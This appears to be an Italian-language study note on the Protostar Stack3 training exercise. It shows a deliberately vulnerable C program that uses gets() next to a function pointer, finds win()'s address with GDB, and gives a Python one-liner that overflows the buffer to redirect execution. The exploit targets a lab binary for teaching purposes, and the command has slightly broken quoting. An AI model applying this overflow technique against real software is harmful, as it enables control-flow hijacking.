Stack 3

<aside> đŸš©

Stack3 looks at overwriting function pointers stored on the stack

</aside>

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
	printf(“code flow succesfully changed\\n”);
}

int main(int argc, char **argv) {
	volatile int (*fp)();
	char buffer[64];
	fp=0;
	gets(buffer);
	
	if(fp) {
		printf(“calling function pointer, jumping to 0x%08x\\n”,fp);
		fp();
	}
}

L’obiettivo della sfida ù impostare fp=win a tempo di esecuzione

→ ciĂČ modifica il flusso di esecuzione poichĂ© provoca il salto del codice alla funzione win()

Idea: se possiamo recuperare l’indirizzo della funzione win() a partire dal binario eseguibile stack3, basta appenderlo all’input

→ in tal modo il valore di fp viene sovrascritto con l’indirizzo della funzione win(), e poichĂ© fp Ăš diverso da zero, viene provocato il salto a fp

GNU Debugger (GDB)

Consente di visualizzare cosa accade in un programma durante la sua esecuzione o al momento del crash

GDB viene invocato con gdb -q file_eseguibile (-q consente di evitare la stampa dei messaggi di copyright)

Una volta avviato, GDB legge i comandi dal terminale fino a che non si digita quit (q)

Il comando print (p) consente di visualizzare il valore di un’espressione

Recupero dell’indirizzo

Recuperiamo l’indirizzo della funzione win() tramite print → gdb -q /opt/protostar/bin/stack3 p win

Preparazione dell’input

Costruiamo un input di 64 caratteri ‘a’ seguito dall’indirizzo di win() in formato Little Endian

Esecuzione dell’attacco

Mandiamo stack3 in esecuzione $'python -c 'print "a" * 64 + "\\x24\\x84\\x04\\x08"' | /opt/protostar/bin/stack3

đŸš©